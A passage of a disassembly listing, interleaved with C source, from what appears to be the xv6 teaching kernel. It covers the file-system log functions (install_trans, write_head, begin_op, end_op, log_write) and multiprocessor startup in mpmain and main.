801028be: 8d 14 92 lea (%edx,%edx,4),%edx
801028c1: 8d 04 50 lea (%eax,%edx,2),%eax
801028c4: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
801028c7: 8b 45 c4 mov -0x3c(%ebp),%eax
801028ca: 89 c2 mov %eax,%edx
801028cc: 83 e0 0f and $0xf,%eax
801028cf: c1 ea 04 shr $0x4,%edx
801028d2: 8d 14 92 lea (%edx,%edx,4),%edx
801028d5: 8d 04 50 lea (%eax,%edx,2),%eax
801028d8: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
801028db: 8b 45 c8 mov -0x38(%ebp),%eax
801028de: 89 c2 mov %eax,%edx
801028e0: 83 e0 0f and $0xf,%eax
801028e3: c1 ea 04 shr $0x4,%edx
801028e6: 8d 14 92 lea (%edx,%edx,4),%edx
801028e9: 8d 04 50 lea (%eax,%edx,2),%eax
801028ec: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
801028ef: 8b 45 cc mov -0x34(%ebp),%eax
801028f2: 89 c2 mov %eax,%edx
801028f4: 83 e0 0f and $0xf,%eax
801028f7: c1 ea 04 shr $0x4,%edx
801028fa: 8d 14 92 lea (%edx,%edx,4),%edx
801028fd: 8d 04 50 lea (%eax,%edx,2),%eax
80102900: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
80102903: 8b 4d 08 mov 0x8(%ebp),%ecx
80102906: 8b 45 b8 mov -0x48(%ebp),%eax
80102909: 89 01 mov %eax,(%ecx)
8010290b: 8b 45 bc mov -0x44(%ebp),%eax
8010290e: 89 41 04 mov %eax,0x4(%ecx)
80102911: 8b 45 c0 mov -0x40(%ebp),%eax
80102914: 89 41 08 mov %eax,0x8(%ecx)
80102917: 8b 45 c4 mov -0x3c(%ebp),%eax
8010291a: 89 41 0c mov %eax,0xc(%ecx)
8010291d: 8b 45 c8 mov -0x38(%ebp),%eax
80102920: 89 41 10 mov %eax,0x10(%ecx)
80102923: 8b 45 cc mov -0x34(%ebp),%eax
80102926: 89 41 14 mov %eax,0x14(%ecx)
r->year += 2000;
80102929: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx)
}
80102930: 83 c4 4c add $0x4c,%esp
80102933: 5b pop %ebx
80102934: 5e pop %esi
80102935: 5f pop %edi
80102936: 5d pop %ebp
80102937: c3 ret
80102938: 66 90 xchg %ax,%ax
8010293a: 66 90 xchg %ax,%ax
8010293c: 66 90 xchg %ax,%ax
8010293e: 66 90 xchg %ax,%ax
80102940 <install_trans>:
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
80102940: 55 push %ebp
80102941: 89 e5 mov %esp,%ebp
80102943: 57 push %edi
80102944: 56 push %esi
80102945: 53 push %ebx
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102946: 31 db xor %ebx,%ebx
{
80102948: 83 ec 1c sub $0x1c,%esp
for (tail = 0; tail < log.lh.n; tail++) {
8010294b: a1 c8 26 11 80 mov 0x801126c8,%eax
80102950: 85 c0 test %eax,%eax
80102952: 7e 78 jle 801029cc <install_trans+0x8c>
80102954: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80102958: a1 b4 26 11 80 mov 0x801126b4,%eax
8010295d: 01 d8 add %ebx,%eax
8010295f: 83 c0 01 add $0x1,%eax
80102962: 89 44 24 04 mov %eax,0x4(%esp)
80102966: a1 c4 26 11 80 mov 0x801126c4,%eax
8010296b: 89 04 24 mov %eax,(%esp)
8010296e: e8 5d d7 ff ff call 801000d0 <bread>
80102973: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102975: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax
for (tail = 0; tail < log.lh.n; tail++) {
8010297c: 83 c3 01 add $0x1,%ebx
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
8010297f: 89 44 24 04 mov %eax,0x4(%esp)
80102983: a1 c4 26 11 80 mov 0x801126c4,%eax
80102988: 89 04 24 mov %eax,(%esp)
8010298b: e8 40 d7 ff ff call 801000d0 <bread>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
80102990: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102997: 00
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102998: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
8010299a: 8d 47 5c lea 0x5c(%edi),%eax
8010299d: 89 44 24 04 mov %eax,0x4(%esp)
801029a1: 8d 46 5c lea 0x5c(%esi),%eax
801029a4: 89 04 24 mov %eax,(%esp)
801029a7: e8 54 19 00 00 call 80104300 <memmove>
bwrite(dbuf); // write dst to disk
801029ac: 89 34 24 mov %esi,(%esp)
801029af: e8 ec d7 ff ff call 801001a0 <bwrite>
brelse(lbuf);
801029b4: 89 3c 24 mov %edi,(%esp)
801029b7: e8 24 d8 ff ff call 801001e0 <brelse>
brelse(dbuf);
801029bc: 89 34 24 mov %esi,(%esp)
801029bf: e8 1c d8 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
801029c4: 39 1d c8 26 11 80 cmp %ebx,0x801126c8
801029ca: 7f 8c jg 80102958 <install_trans+0x18>
}
}
801029cc: 83 c4 1c add $0x1c,%esp
801029cf: 5b pop %ebx
801029d0: 5e pop %esi
801029d1: 5f pop %edi
801029d2: 5d pop %ebp
801029d3: c3 ret
801029d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801029da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801029e0 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
801029e0: 55 push %ebp
801029e1: 89 e5 mov %esp,%ebp
801029e3: 57 push %edi
801029e4: 56 push %esi
801029e5: 53 push %ebx
801029e6: 83 ec 1c sub $0x1c,%esp
struct buf *buf = bread(log.dev, log.start);
801029e9: a1 b4 26 11 80 mov 0x801126b4,%eax
801029ee: 89 44 24 04 mov %eax,0x4(%esp)
801029f2: a1 c4 26 11 80 mov 0x801126c4,%eax
801029f7: 89 04 24 mov %eax,(%esp)
801029fa: e8 d1 d6 ff ff call 801000d0 <bread>
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
801029ff: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx
for (i = 0; i < log.lh.n; i++) {
80102a05: 31 d2 xor %edx,%edx
80102a07: 85 db test %ebx,%ebx
struct buf *buf = bread(log.dev, log.start);
80102a09: 89 c7 mov %eax,%edi
hb->n = log.lh.n;
80102a0b: 89 58 5c mov %ebx,0x5c(%eax)
80102a0e: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102a11: 7e 17 jle 80102a2a <write_head+0x4a>
80102a13: 90 nop
80102a14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
hb->block[i] = log.lh.block[i];
80102a18: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx
80102a1f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4)
for (i = 0; i < log.lh.n; i++) {
80102a23: 83 c2 01 add $0x1,%edx
80102a26: 39 da cmp %ebx,%edx
80102a28: 75 ee jne 80102a18 <write_head+0x38>
}
bwrite(buf);
80102a2a: 89 3c 24 mov %edi,(%esp)
80102a2d: e8 6e d7 ff ff call 801001a0 <bwrite>
brelse(buf);
80102a32: 89 3c 24 mov %edi,(%esp)
80102a35: e8 a6 d7 ff ff call 801001e0 <brelse>
}
80102a3a: 83 c4 1c add $0x1c,%esp
80102a3d: 5b pop %ebx
80102a3e: 5e pop %esi
80102a3f: 5f pop %edi
80102a40: 5d pop %ebp
80102a41: c3 ret
80102a42: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102a50 <initlog>:
{
80102a50: 55 push %ebp
80102a51: 89 e5 mov %esp,%ebp
80102a53: 56 push %esi
80102a54: 53 push %ebx
80102a55: 83 ec 30 sub $0x30,%esp
80102a58: 8b 5d 08 mov 0x8(%ebp),%ebx
initlock(&log.lock, "log");
80102a5b: c7 44 24 04 a0 72 10 movl $0x801072a0,0x4(%esp)
80102a62: 80
80102a63: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102a6a: e8 c1 15 00 00 call 80104030 <initlock>
readsb(dev, &sb);
80102a6f: 8d 45 dc lea -0x24(%ebp),%eax
80102a72: 89 44 24 04 mov %eax,0x4(%esp)
80102a76: 89 1c 24 mov %ebx,(%esp)
80102a79: e8 f2 e8 ff ff call 80101370 <readsb>
log.start = sb.logstart;
80102a7e: 8b 45 ec mov -0x14(%ebp),%eax
log.size = sb.nlog;
80102a81: 8b 55 e8 mov -0x18(%ebp),%edx
struct buf *buf = bread(log.dev, log.start);
80102a84: 89 1c 24 mov %ebx,(%esp)
log.dev = dev;
80102a87: 89 1d c4 26 11 80 mov %ebx,0x801126c4
struct buf *buf = bread(log.dev, log.start);
80102a8d: 89 44 24 04 mov %eax,0x4(%esp)
log.size = sb.nlog;
80102a91: 89 15 b8 26 11 80 mov %edx,0x801126b8
log.start = sb.logstart;
80102a97: a3 b4 26 11 80 mov %eax,0x801126b4
struct buf *buf = bread(log.dev, log.start);
80102a9c: e8 2f d6 ff ff call 801000d0 <bread>
for (i = 0; i < log.lh.n; i++) {
80102aa1: 31 d2 xor %edx,%edx
log.lh.n = lh->n;
80102aa3: 8b 58 5c mov 0x5c(%eax),%ebx
80102aa6: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102aa9: 85 db test %ebx,%ebx
log.lh.n = lh->n;
80102aab: 89 1d c8 26 11 80 mov %ebx,0x801126c8
for (i = 0; i < log.lh.n; i++) {
80102ab1: 7e 17 jle 80102aca <initlog+0x7a>
80102ab3: 90 nop
80102ab4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
log.lh.block[i] = lh->block[i];
80102ab8: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx
80102abc: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
for (i = 0; i < log.lh.n; i++) {
80102ac3: 83 c2 01 add $0x1,%edx
80102ac6: 39 da cmp %ebx,%edx
80102ac8: 75 ee jne 80102ab8 <initlog+0x68>
brelse(buf);
80102aca: 89 04 24 mov %eax,(%esp)
80102acd: e8 0e d7 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102ad2: e8 69 fe ff ff call 80102940 <install_trans>
log.lh.n = 0;
80102ad7: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102ade: 00 00 00
write_head(); // clear the log
80102ae1: e8 fa fe ff ff call 801029e0 <write_head>
}
80102ae6: 83 c4 30 add $0x30,%esp
80102ae9: 5b pop %ebx
80102aea: 5e pop %esi
80102aeb: 5d pop %ebp
80102aec: c3 ret
80102aed: 8d 76 00 lea 0x0(%esi),%esi
80102af0 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102af0: 55 push %ebp
80102af1: 89 e5 mov %esp,%ebp
80102af3: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
80102af6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102afd: e8 1e 16 00 00 call 80104120 <acquire>
80102b02: eb 18 jmp 80102b1c <begin_op+0x2c>
80102b04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102b08: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp)
80102b0f: 80
80102b10: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102b17: e8 c4 10 00 00 call 80103be0 <sleep>
if(log.committing){
80102b1c: a1 c0 26 11 80 mov 0x801126c0,%eax
80102b21: 85 c0 test %eax,%eax
80102b23: 75 e3 jne 80102b08 <begin_op+0x18>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102b25: a1 bc 26 11 80 mov 0x801126bc,%eax
80102b2a: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102b30: 83 c0 01 add $0x1,%eax
80102b33: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102b36: 8d 14 4a lea (%edx,%ecx,2),%edx
80102b39: 83 fa 1e cmp $0x1e,%edx
80102b3c: 7f ca jg 80102b08 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102b3e: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
log.outstanding += 1;
80102b45: a3 bc 26 11 80 mov %eax,0x801126bc
release(&log.lock);
80102b4a: e8 c1 16 00 00 call 80104210 <release>
break;
}
}
}
80102b4f: c9 leave
80102b50: c3 ret
80102b51: eb 0d jmp 80102b60 <end_op>
80102b53: 90 nop
80102b54: 90 nop
80102b55: 90 nop
80102b56: 90 nop
80102b57: 90 nop
80102b58: 90 nop
80102b59: 90 nop
80102b5a: 90 nop
80102b5b: 90 nop
80102b5c: 90 nop
80102b5d: 90 nop
80102b5e: 90 nop
80102b5f: 90 nop
80102b60 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102b60: 55 push %ebp
80102b61: 89 e5 mov %esp,%ebp
80102b63: 57 push %edi
80102b64: 56 push %esi
80102b65: 53 push %ebx
80102b66: 83 ec 1c sub $0x1c,%esp
int do_commit = 0;
acquire(&log.lock);
80102b69: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102b70: e8 ab 15 00 00 call 80104120 <acquire>
log.outstanding -= 1;
80102b75: a1 bc 26 11 80 mov 0x801126bc,%eax
if(log.committing)
80102b7a: 8b 15 c0 26 11 80 mov 0x801126c0,%edx
log.outstanding -= 1;
80102b80: 83 e8 01 sub $0x1,%eax
if(log.committing)
80102b83: 85 d2 test %edx,%edx
log.outstanding -= 1;
80102b85: a3 bc 26 11 80 mov %eax,0x801126bc
if(log.committing)
80102b8a: 0f 85 f3 00 00 00 jne 80102c83 <end_op+0x123>
panic("log.committing");
if(log.outstanding == 0){
80102b90: 85 c0 test %eax,%eax
80102b92: 0f 85 cb 00 00 00 jne 80102c63 <end_op+0x103>
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
}
release(&log.lock);
80102b98: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
}
static void
commit()
{
if (log.lh.n > 0) {
80102b9f: 31 db xor %ebx,%ebx
log.committing = 1;
80102ba1: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0
80102ba8: 00 00 00
release(&log.lock);
80102bab: e8 60 16 00 00 call 80104210 <release>
if (log.lh.n > 0) {
80102bb0: a1 c8 26 11 80 mov 0x801126c8,%eax
80102bb5: 85 c0 test %eax,%eax
80102bb7: 0f 8e 90 00 00 00 jle 80102c4d <end_op+0xed>
80102bbd: 8d 76 00 lea 0x0(%esi),%esi
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102bc0: a1 b4 26 11 80 mov 0x801126b4,%eax
80102bc5: 01 d8 add %ebx,%eax
80102bc7: 83 c0 01 add $0x1,%eax
80102bca: 89 44 24 04 mov %eax,0x4(%esp)
80102bce: a1 c4 26 11 80 mov 0x801126c4,%eax
80102bd3: 89 04 24 mov %eax,(%esp)
80102bd6: e8 f5 d4 ff ff call 801000d0 <bread>
80102bdb: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102bdd: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax
for (tail = 0; tail < log.lh.n; tail++) {
80102be4: 83 c3 01 add $0x1,%ebx
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102be7: 89 44 24 04 mov %eax,0x4(%esp)
80102beb: a1 c4 26 11 80 mov 0x801126c4,%eax
80102bf0: 89 04 24 mov %eax,(%esp)
80102bf3: e8 d8 d4 ff ff call 801000d0 <bread>
memmove(to->data, from->data, BSIZE);
80102bf8: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102bff: 00
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c00: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
80102c02: 8d 40 5c lea 0x5c(%eax),%eax
80102c05: 89 44 24 04 mov %eax,0x4(%esp)
80102c09: 8d 46 5c lea 0x5c(%esi),%eax
80102c0c: 89 04 24 mov %eax,(%esp)
80102c0f: e8 ec 16 00 00 call 80104300 <memmove>
bwrite(to); // write the log
80102c14: 89 34 24 mov %esi,(%esp)
80102c17: e8 84 d5 ff ff call 801001a0 <bwrite>
brelse(from);
80102c1c: 89 3c 24 mov %edi,(%esp)
80102c1f: e8 bc d5 ff ff call 801001e0 <brelse>
brelse(to);
80102c24: 89 34 24 mov %esi,(%esp)
80102c27: e8 b4 d5 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
80102c2c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx
80102c32: 7c 8c jl 80102bc0 <end_op+0x60>
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102c34: e8 a7 fd ff ff call 801029e0 <write_head>
install_trans(); // Now install writes to home locations
80102c39: e8 02 fd ff ff call 80102940 <install_trans>
log.lh.n = 0;
80102c3e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8
80102c45: 00 00 00
write_head(); // Erase the transaction from the log
80102c48: e8 93 fd ff ff call 801029e0 <write_head>
acquire(&log.lock);
80102c4d: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102c54: e8 c7 14 00 00 call 80104120 <acquire>
log.committing = 0;
80102c59: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0
80102c60: 00 00 00
wakeup(&log);
80102c63: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102c6a: e8 01 11 00 00 call 80103d70 <wakeup>
release(&log.lock);
80102c6f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102c76: e8 95 15 00 00 call 80104210 <release>
}
80102c7b: 83 c4 1c add $0x1c,%esp
80102c7e: 5b pop %ebx
80102c7f: 5e pop %esi
80102c80: 5f pop %edi
80102c81: 5d pop %ebp
80102c82: c3 ret
panic("log.committing");
80102c83: c7 04 24 a4 72 10 80 movl $0x801072a4,(%esp)
80102c8a: e8 d1 d6 ff ff call 80100360 <panic>
80102c8f: 90 nop
80102c90 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102c90: 55 push %ebp
80102c91: 89 e5 mov %esp,%ebp
80102c93: 53 push %ebx
80102c94: 83 ec 14 sub $0x14,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102c97: a1 c8 26 11 80 mov 0x801126c8,%eax
{
80102c9c: 8b 5d 08 mov 0x8(%ebp),%ebx
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102c9f: 83 f8 1d cmp $0x1d,%eax
80102ca2: 0f 8f 98 00 00 00 jg 80102d40 <log_write+0xb0>
80102ca8: 8b 0d b8 26 11 80 mov 0x801126b8,%ecx
80102cae: 8d 51 ff lea -0x1(%ecx),%edx
80102cb1: 39 d0 cmp %edx,%eax
80102cb3: 0f 8d 87 00 00 00 jge 80102d40 <log_write+0xb0>
panic("too big a transaction");
if (log.outstanding < 1)
80102cb9: a1 bc 26 11 80 mov 0x801126bc,%eax
80102cbe: 85 c0 test %eax,%eax
80102cc0: 0f 8e 86 00 00 00 jle 80102d4c <log_write+0xbc>
panic("log_write outside of trans");
acquire(&log.lock);
80102cc6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp)
80102ccd: e8 4e 14 00 00 call 80104120 <acquire>
for (i = 0; i < log.lh.n; i++) {
80102cd2: 8b 15 c8 26 11 80 mov 0x801126c8,%edx
80102cd8: 83 fa 00 cmp $0x0,%edx
80102cdb: 7e 54 jle 80102d31 <log_write+0xa1>
if (log.lh.block[i] == b->blockno) // log absorbtion
80102cdd: 8b 4b 08 mov 0x8(%ebx),%ecx
for (i = 0; i < log.lh.n; i++) {
80102ce0: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
80102ce2: 39 0d cc 26 11 80 cmp %ecx,0x801126cc
80102ce8: 75 0f jne 80102cf9 <log_write+0x69>
80102cea: eb 3c jmp 80102d28 <log_write+0x98>
80102cec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102cf0: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4)
80102cf7: 74 2f je 80102d28 <log_write+0x98>
for (i = 0; i < log.lh.n; i++) {
80102cf9: 83 c0 01 add $0x1,%eax
80102cfc: 39 d0 cmp %edx,%eax
80102cfe: 75 f0 jne 80102cf0 <log_write+0x60>
break;
}
log.lh.block[i] = b->blockno;
80102d00: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4)
if (i == log.lh.n)
log.lh.n++;
80102d07: 83 c2 01 add $0x1,%edx
80102d0a: 89 15 c8 26 11 80 mov %edx,0x801126c8
b->flags |= B_DIRTY; // prevent eviction
80102d10: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102d13: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp)
}
80102d1a: 83 c4 14 add $0x14,%esp
80102d1d: 5b pop %ebx
80102d1e: 5d pop %ebp
release(&log.lock);
80102d1f: e9 ec 14 00 00 jmp 80104210 <release>
80102d24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
log.lh.block[i] = b->blockno;
80102d28: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4)
80102d2f: eb df jmp 80102d10 <log_write+0x80>
80102d31: 8b 43 08 mov 0x8(%ebx),%eax
80102d34: a3 cc 26 11 80 mov %eax,0x801126cc
if (i == log.lh.n)
80102d39: 75 d5 jne 80102d10 <log_write+0x80>
80102d3b: eb ca jmp 80102d07 <log_write+0x77>
80102d3d: 8d 76 00 lea 0x0(%esi),%esi
panic("too big a transaction");
80102d40: c7 04 24 b3 72 10 80 movl $0x801072b3,(%esp)
80102d47: e8 14 d6 ff ff call 80100360 <panic>
panic("log_write outside of trans");
80102d4c: c7 04 24 c9 72 10 80 movl $0x801072c9,(%esp)
80102d53: e8 08 d6 ff ff call 80100360 <panic>
80102d58: 66 90 xchg %ax,%ax
80102d5a: 66 90 xchg %ax,%ax
80102d5c: 66 90 xchg %ax,%ax
80102d5e: 66 90 xchg %ax,%ax
80102d60 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80102d60: 55 push %ebp
80102d61: 89 e5 mov %esp,%ebp
80102d63: 53 push %ebx
80102d64: 83 ec 14 sub $0x14,%esp
cprintf("cpu%d: starting %d\n", cpuid(), cpuid());
80102d67: e8 f4 08 00 00 call 80103660 <cpuid>
80102d6c: 89 c3 mov %eax,%ebx
80102d6e: e8 ed 08 00 00 call 80103660 <cpuid>
80102d73: 89 5c 24 08 mov %ebx,0x8(%esp)
80102d77: c7 04 24 e4 72 10 80 movl $0x801072e4,(%esp)
80102d7e: 89 44 24 04 mov %eax,0x4(%esp)
80102d82: e8 c9 d8 ff ff call 80100650 <cprintf>
idtinit(); // load idt register
80102d87: e8 34 27 00 00 call 801054c0 <idtinit>
xchg(&(mycpu()->started), 1); // tell startothers() we're up
80102d8c: e8 4f 08 00 00 call 801035e0 <mycpu>
80102d91: 89 c2 mov %eax,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80102d93: b8 01 00 00 00 mov $0x1,%eax
80102d98: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx)
scheduler(); // start running processes
80102d9f: e8 9c 0b 00 00 call 80103940 <scheduler>
80102da4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102daa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80102db0 <mpenter>:
{
80102db0: 55 push %ebp
80102db1: 89 e5 mov %esp,%ebp
80102db3: 83 ec 08 sub $0x8,%esp
switchkvm();
80102db6: e8 45 38 00 00 call 80106600 <switchkvm>
seginit();
80102dbb: e8 00 37 00 00 call 801064c0 <seginit>
lapicinit();
80102dc0: e8 8b f8 ff ff call 80102650 <lapicinit>
mpmain();
80102dc5: e8 96 ff ff ff call 80102d60 <mpmain>
80102dca: 66 90 xchg %ax,%ax
80102dcc: 66 90 xchg %ax,%ax
80102dce: 66 90 xchg %ax,%ax
80102dd0 <main>:
{
80102dd0: 55 push %ebp
80102dd1: 89 e5 mov %esp,%ebp
80102dd3: 53 push %ebx
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80102dd4: bb 80 27 11 80 mov $0x80112780,%ebx
{
80102dd9: 83 e4 f0 and $0xfffffff0,%esp
80102ddc: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102ddf: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80102de6: 80
80102de7: c7 04 24 f4 58 11 80 movl $0x801158f4,(%esp)
80102dee: e8 cd f5 ff ff call 801023c0 <kinit1>
kvmalloc(); // kernel page table
80102df3: e8 b8 3c 00 00 call 80106ab0 <kvmalloc>
mpinit(); // detect other processors
80102df8: e8 73 01 00 00 call 80102f70 <mpinit>
80102dfd: 8d 76 00 lea 0x0(%esi),%esi
lapicinit(); // interrupt controller
80102e00: e8 4b f8 ff ff call 80102650 <lapicinit>
seginit(); // segment descriptors
80102e05: e8 b6 36 00 00 call 801064c0 <seginit>
picinit(); // disable pic
80102e0a: e8 21 03 00 00 call 80103130 <picinit>
80102e0f: 90 nop
ioapicinit(); // another interrupt controller
80102e10: e8 cb f3 ff ff call 801021e0 <ioapicinit>
consoleinit(); // console hardware
80102e15: e8 36 db ff ff call 80100950 <consoleinit>
uartinit(); // serial port
80102e1a: e8 41 2a 00 00 call 80105860 <uartinit>
80102e1f: 90 nop
pinit(); // process table
80102e20: e8 9b 07 00 00 call 801035c0 <pinit>
shminit(); // shared memory
80102e25: e8 46 3f 00 00 call 80106d70 <shminit>
tvinit(); // trap vectors
80102e2a: e8 f1 25 00 00 call 80105420 <tvinit>
80102e2f: 90 nop
binit(); // buffer cache
80102e30: e8 0b d2 ff ff call 80100040 <binit>
fileinit(); // file table
80102e35: e8 e6 de ff ff call 80100d20 <fileinit>
ideinit(); // disk
80102e3a: e8 a1 f1 ff ff call 80101fe0 <ideinit>
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102e3f: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp)
80102e46: 00
80102e47: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp)
80102e4e: 80
80102e4f: c7 04 24 00 70 00 80 movl $0x80007000,(%esp)
80102e56: e8 a5 14 00 00 call 80104300 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80102e5b: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102e62: 00 00 00
80102e65: 05 80 27 11 80 add $0x80112780,%eax
80102e6a: 39 d8 cmp %ebx,%eax
80102e6c: 76 65 jbe 80102ed3 <main+0x103>
80102e6e: 66 90 xchg %ax,%ax
if(c == mycpu()) // We've started already.
80102e70: e8 6b 07 00 00 call 801035e0 <mycpu>
80102e75: 39 d8 cmp %ebx,%eax
80102e77: 74 41 je 80102eba <main+0xea>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80102e79: e8 02 f6 ff ff call 80102480 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
*(void**)(code-8) = mpenter;
80102e7e: c7 05 f8 6f 00 80 b0 movl $0x80102db0,0x80006ff8
80102e85: 2d 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
80102e88: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80102e8f: 90 10 00
*(void**)(code-4) = stack + KSTACKSIZE;
80102e92: 05 00 10 00 00 add $0x1000,%eax
80102e97: a3 fc 6f 00 80 mov %eax,0x80006ffc
lapicstartap(c->apicid, V2P(code));
80102e9c: 0f b6 03 movzbl (%ebx),%eax
80102e9f: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp)
80102ea6: 00
80102ea7: 89 04 24 mov %eax,(%esp)
80102eaa: e8 e1 f8 ff ff call 80102790 <lapicstartap>
80102eaf: 90 nop
// wait for cpu to finish mpmain()
while(c->started == 0)
80102eb0: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax
80102eb6: 85 c0 test %eax,%eax
80102eb8: 74 f6 je 80102eb0 <main+0xe0>
for(c = cpus; c < cpus+ncpu; c++){
80102eba: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax
80102ec1: 00 00 00
80102ec4: 81 c3 b0 00 00 00 add $0xb0,%ebx
80102eca: 05 80 27 11 80 add $0x80112780,%eax
80102ecf: 39 c3 cmp %eax,%ebx
80102ed1: 72 9d jb 80102e70 <main+0xa0>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80102ed3: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
80102eda: 8e
